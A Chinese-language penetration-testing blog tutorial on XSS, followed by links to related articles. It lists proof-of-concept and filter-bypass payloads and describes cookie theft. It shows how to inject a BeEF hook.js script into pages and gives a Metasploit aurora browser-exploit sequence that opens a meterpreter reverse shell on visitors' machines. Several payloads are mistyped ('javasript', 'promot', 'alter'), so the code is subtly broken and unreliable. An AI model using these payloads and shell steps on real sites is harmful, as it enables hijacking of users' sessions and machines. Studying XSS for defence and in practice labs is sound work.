Web渗透06_XSS
XSS漏洞描述
XSS是非常厉害的漏洞,在OWASP TOP10中榜上有名。
XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。
人们经常将跨站脚本攻击(Cross Site Scripting)缩写为CSS,但这会与层叠样式表(Cascading Style Sheets,CSS)的缩写混淆。因此,有人将跨站脚本攻击缩写为XSS。但我认为这个中文名字不是太好,XSS说白了就是利用JS脚本的强大能力,攻击者通过一些手段,比如说评论功能,留言功能,等等,把一段JS代码插入到受害网站中,如果受害者网站对用户输入的信息过滤不足,任何人在浏览时都会遭受到这段JS代码的威胁。甚至是本来就是恶意的一些网站,没有任何人攻击写入恶意代码,而是网站制作者本身的恶意写入去攻击网站浏览者。所以 引入恶意脚本的站点攻击 这个名字更适合他。
危害: 盗取受害者cookie信息,电脑截屏,获取用户电脑的shell(打开cmd的权限),盗取账号,劫持用户会话,插入恶意内容、重定向用户、使用恶意软件劫持用户浏览器、繁殖XSS蠕虫, js功能的强大超乎我们的想像。
XSS漏洞验证
利用一段简洁的代码,去测试网站有没有XSS的漏洞。这样的代码叫做 POC(Proof of Concept) proof 英[pruːf] n:证据; 证明; 检验;
网站一般会对<标签>, ', ", \进行过滤
<script>alert('xss')</script> // 标签验证是否存在标签的过滤,如果出现弹窗则证明存在漏洞
<script>confirm('xss')</script> // 标签验证是否存在标签的过滤,如果出现弹窗则证明存在漏洞
<script>promot('xss')</script> // 标签验证是否存在标签的过滤,如果出现弹窗则证明存在漏洞
在有关页面输入此类代码进行提交,对结果页面进行检查,通常脚本是不会显示到页面上的,如果提交评论其他文字会有显示,而js代码却没有显示,则很可能攻击成功,我们可以查看网页源代码进行查找是否成为了网页的js脚本。
如果这一小段代码引入成功,那么其他更加恐怖的代码也可以成功了。
练习平台
pikachu
xsschallenge
分类
从攻击代码的工作方式可以分为三个类型:
(1)持久型跨站:最直接的危害类型,跨站代码存储在服务器(数据库)。
(2)非持久型跨站:反射型跨站脚本漏洞,最普遍的类型。用户访问服务器-跨站链接-返回跨站代码。
(3)DOM跨站(DOM XSS):DOM(document object model文档对象模型),客户端脚本处理逻辑导致的安全问题。
基于DOM的XSS漏洞是指受害者端的网页脚本在修改本地页面DOM环境时未进行合理的处置,而使得攻击脚本被执行。在整个攻击过程中,服务器响应的页面并没有发生变化,引起客户端脚本执行结果差异的原因是对本地DOM的恶意篡改利用。
非持久性 反射性跨站
利用一些表单的变量,进行攻击。
www.abc.com/index.php?submit=submit&a=<script>alert('xss')</script>
其中submit是提交的结果显示,而a这个变量是用户提交的东西(评论,搜索内容等等),而这个链接会显示用户提交后的网页,这样,只要访问就会出现弹窗。所以不要乱点不明链接。点击即可触发反射形XSS攻击。
持久性 存储型
把恶意代码放到网站数据库中,网站是会存储用户的信息的,比如说评论信息,文章信息。你的一些发布的东西都会被永久的存储到数据库中,如果你提交的东西里包含可执行的恶意代码,别的用户在通过动态网站的访问时,网站从数据库里取出你放的评论(内有恶意代码),显示给其他人,恶意JS代码也就会执行。
DOM型
纯网站自己编写的JS存在漏洞,导致其他人根据这些漏洞,把恶意代码写入页面。
DOM型XSS主要是由客户端的脚本通过DOM动态地输出数据到页面而不是依赖于将数据提交给服务器端,而从客户端获得DOM中的数据在本地执行,因而仅从服务器端是无法防御的。其防御在于:
(1) 避免客户端文档重写、重定向或其他敏感操作,同时避免使用客户端数据,这些操作尽量在服务器端使用动态页面来实现;
(2) 分析和强化客户端JS代码,特别是受到用户影响的DOM对象,注意能直接修改DOM和创建HTML文件的相关函数或方法,并在输出变量到页面时先进行编码转义,如输出到HTML则进行HTML编码、输出到则进行JS编码。
XSS的构造
伪协议
javascript: 伪协议的方式构造 XSS。
<a href="javasript:alert('xss')">clickMe</a>
<img src="javasript:alert('xss')" />
事件驱动
利用JS 对网页中的各种操作事件的响应,去触发JS代码进行 XSS。
- Windows事件
- Form事件 填写的触发
- KeyBoard事件 键盘
- Mouse事件 鼠标点击
- Media事件 多媒体触发
<img src="data:images/defualt.jpg" onmouseover="alert('xss')" />
<input type='text' onkeydown="alert('xss')" />
利用CSS进行 XSS
style="backgroud-image:url(javasript:alert('xss'))"
XSS的变形绕过
利用XSS的各种形式,达到对于过滤器,过滤函数的绕过。
大小写转换
<Img sRc='#' Onerror="alert" />
<a hRef="javasript:alert('xss')"> clickMe </A>
引号利用
HTML对引号没啥感觉,以下三者都可以用。
img src="#" onerror="alter('xss')"
img src="#" onerror='alter('xss')'
img src="#" onerror=alter('xss')
[/]代替空格
<Img/sRc='#'/Onerror="alert">
TAB 换行符绕过
<a hRef="j
av
asri
pt:alert('xss')"> clickMe </A>
转码绕过
| 字符 | 编码 | 十进制编码 | 十六进制编码 |
|---|---|---|---|
| a | 97 | a |
a |
| e | 101 | e |
e |
| Tab | |
可以插入任意位置 | |
| 换行 |
|
可以插入任意位置 | |
| 回车 |
|
可以插入任意位置 | |
| SOH |  |
可以插入头部位置 | |
| STX |  |
可以插入头部位置 |
<a hRef="javas
ript:alert('xss')"> clickMe `
双写绕过
这个有点问题。
<script><scr<script>ipt>
XSS防御
永远不要相信用户的输入。
Beef
Kali的一款工具。利用特定的JS代码,使得遭受这段代码攻击的人,在 beef服务器上上线,类似灰鸽子,可以浏览器劫持,获取受害主机的cookie,shell命令行权限等等。
安装完成后要修改配置文件,因为安全考虑,要修改在配置文件中的 默认账户名和密码。
- 启动命令:beef-xss
- webUI界面管理控制台:http://127.0.0.1:3000/ui/panel
- shellcode: http://127.0.0.1:3000/hook.js 外部注入代码
<script src="http://127.0.0.1:3000/hook.js"></script> - 测试页面:http://127.0.0.1:3000/demos/butcher/index.html 任何人点击这个页面都会上线

Cookie窃取
通过窃取受害者cookie,如果网站以cookie信息验证用户身份,则攻击者可以在自己的电脑中写入获取的cookie信息,直接登录后台而不会受阻。
document.cookie="username=admin";
document.cookie="password=123456";
利用浏览器漏洞获取shell
利用msf,msf是kali自带的一个工具,利用它生成一个可以利用浏览器漏洞获取shell的页面,让beef受害者重定向(**Redirect Browser*)到这个页面,即可查看用户本地进程,打开受害者的shell,但是一旦受害者断开页面或浏览器,这样的连接就会断开,所以要及时切换攻击进程的位置。

msfconsole # 启动工具
use exploit/windows/browser/ms10_002_aurora # 利用模块
set payload windows/meterpreter/reverse_tcp
set SRVHOST 123.123.123.123 #目标地址
show options # 展示操作结果
set LHOST 11.11.11.11 #本机地址
show options # 展示操作结果
exploit # 攻击页面生成 URL
# 利用重定向使用户访问页面
sessions -i #查看受害者连接
sessions -i 1 #进入到受害者会话
ps #查看受害者主机进程列表 任务管理器
getuid # 获取攻击进程的序号
migrate 1532 # 切换进程来维持长久连接
XSSpt.com
一个XSS漏洞利用平台。创建自己的项目,配置相关的攻击模块,自动会生成JS代码,在由XSS漏洞的平台里,用外部JS引入攻击代码,即可获取受害者信息,以及其他的一些操纵。

攻击方法扩充
windows.location.hash
windows.location.hash会取得浏览器的url中 #以及后面的字符串。
url_http://abc.com/index.php?a=5#abcdef
location.hash=#abcdef
攻击实例:http://abc.com/index.php?submit=submit&xsscode=<script>eval(location.hash.substr(1))</script>#alert(/你好世界/)
substr(index)会截取第几个字符后面的字符,从1开始。
备选存储技术
把XSS代码写到cookie中,用户登录或者是其他一些用到cookie信息的时候,一些网页会提取cookie信息,并展示给用户看,这个时候XSS就执行了。
Ajax
利用Ajax去请求远端的JS代码,执行攻击。
最后就是多练习♀️♂️♂️♀️
网上有很多XSS练习平台,有的是在线网页的可以去人家的网站,还有可以下载下来放到自己机器上的练习网站。
多练。
Web渗透06_XSS的更多相关文章
- Kali Linux 秘籍/Web渗透秘籍/无线渗透入门
Kali Linux 秘籍 原书:Kali Linux Cookbook 译者:飞龙 在线阅读 PDF格式 EPUB格式 MOBI格式 Github Git@OSC 目录: 第一章 安装和启动Kali ...
- 反向代理在Web渗透测试中的运用
在一次Web渗透测试中,目标是M国的一个Win+Apache+PHP+MYSQL的网站,独立服务器,对外仅开80端口,网站前端的业务系统比较简单,经过几天的测试也没有找到漏洞,甚至连XSS都没有发现, ...
- Kali Linux Web 渗透测试视频教—第二十课-利用kali linux光盘或者usb启动盘破解windows密码
Kali Linux Web 渗透测试视频教—第二十课-利用kali linux光盘或者usb启动盘破解windows密码 文/玄魂 目录 Kali Linux Web 渗透测试视频教—第二十课-利用 ...
- Kali Linux Web 渗透测试— 第二十课-metasploit.meterpreter
Kali Linux Web 渗透测试— 第二十课-metasploit.meterpreter 原文链接:http://www.xuanhun521.com/Blog/7fc11b7a-b6cb-4 ...
- KALI LINUX WEB 渗透测试视频教程—第十九课-METASPLOIT基础
原文链接:Kali Linux Web渗透测试视频教程—第十九课-metasploit基础 文/玄魂 目录 Kali Linux Web 渗透测试视频教程—第十九课-metasploit基础..... ...
- KALI LINUX WEB 渗透测试视频教程—第16课 BEEF基本使用
Kali Linux Web 渗透测试视频教程—第16课 BeEF基本使用 文/玄魂 目录 Kali Linux Web 渗透测试视频教程—第16课 BeEF基本使用............... ...
- Kali Linux Web 渗透测试视频教程— 第十六课-拒绝服务攻击
Kali Linux Web 渗透测试视频教程— 第十六课-拒绝服务攻击 文/玄魂 目录 Kali Linux Web 渗透测试视频教程— 第十六课-拒绝服务攻击................... ...
- Kali Linux Web 渗透测试视频教程—第十四课-arp欺骗、嗅探、dns欺骗、session劫持
Kali Linux Web 渗透测试视频教程—第十四课-arp欺骗.嗅探.dns欺骗.session劫持 文/玄魂 目录 Kali Linux Web 渗透测试—第十四课-arp欺骗.嗅探.dns欺 ...
- Kali Linux Web 渗透测试视频教程— 第十三课-密码破解
Kali Linux Web 渗透测试— 第十三课-密码破解 文/玄魂 目录 Kali Linux Web 渗透测试— 第十三课-密码破解............................... ...
- Kali Linux Web 渗透测试— 第十二课-websploit
Kali Linux Web 渗透测试— 第十二课-websploit 文/玄魂 目录 Kali Linux Web 渗透测试— 第十二课-websploit..................... ...
随机推荐
- Apache SeaTunnel 社区 3 月月报
各位热爱 SeaTunnel 的小伙伴们,SeaTunnel 社区 3 月月报来啦!这里将记录 SeaTunnel 社区每个月的重要更新,并评选出月度之星,欢迎关注. SeaTunnel 月度 Mer ...
- 初探 Rust 语言与环境搭建
1. Rust 简介 Rust 的历史 起源:Rust 语言最初由 Mozilla 研究员 Graydon Hoare 于 2006 年开始设计,并于 2009 年首次公开. 开发:Rust 是 Mo ...
- wifi基础(一):无线电波与WIFI信号干扰、衰减
liwen01 2024.08.18 前言 无论是在产品开发还是在日常生活中,在使用无线网络的时候,都会经常遇到一些信号不好的问题,也会产生不少疑问: 为什么我们在高速移动的高铁上网络会变慢? 为什么 ...
- 为什么用Vite框架?来看它的核心组件案例详解
Vite 是一个前端构建工具,它以其快速的开发服务器和生产优化的打包器而闻名前端界,今天的内容,必须得唠唠 Vite 的关键能力,以下是 Vite 的核心组件分析,以及使用案例: 原理分析: Vite ...
- idea启动项目发现端口被占用!!!导致启动不起来
windows端口被占用 netstat -ano |findstr 端口号 任务管理器详细信息 PID排序找到刚才查到的 右键结束 原因: idea被异常终止导致tomcat没死
- 在 SQLAlchemy 中实现数据处理的时候,实现表自引用、多对多、联合查询,有序id等常见的一些经验总结
有时候,我们在使用SQLAlchemy操作某些表的时候,需要使用外键关系来实现一对多或者多对多的关系引用,以及对多表的联合查询,有序列的uuid值或者自增id值,字符串的分拆等常见处理操作. 1.在 ...
- Conda 使用
简介 Conda 和 Anaconda.Miniconda 的关系 Conda 是一个包管理器及环境管理器. Anaconda 和 Miniconda 都是一种 Python 和 R 发行版,其包括了 ...
- 爬虫案例2-爬取视频的三种方式之一:requests篇(1)
@ 目录 前言 爬虫步骤 确定网址,发送请求 获取响应数据 对响应数据进行解析 保存数据 完整源码 共勉 博客 前言 本文写了一个爬取视频的案例,使用requests库爬取了好看视频的视频,并进行保存 ...
- 常回家看看之house_of_kiwi
house of kiwi 前言:house_of_kiwi 一般是通过触发__malloc_assert来刷新IO流,最后可以劫持程序流或者通过和setcontext来打配合来进行栈迁移来得到fla ...
- C#阿里境外服务器部署企业邮箱发邮件代码
static string accountName = "发件人邮箱"; static string password = "发件人邮箱密码"; static ...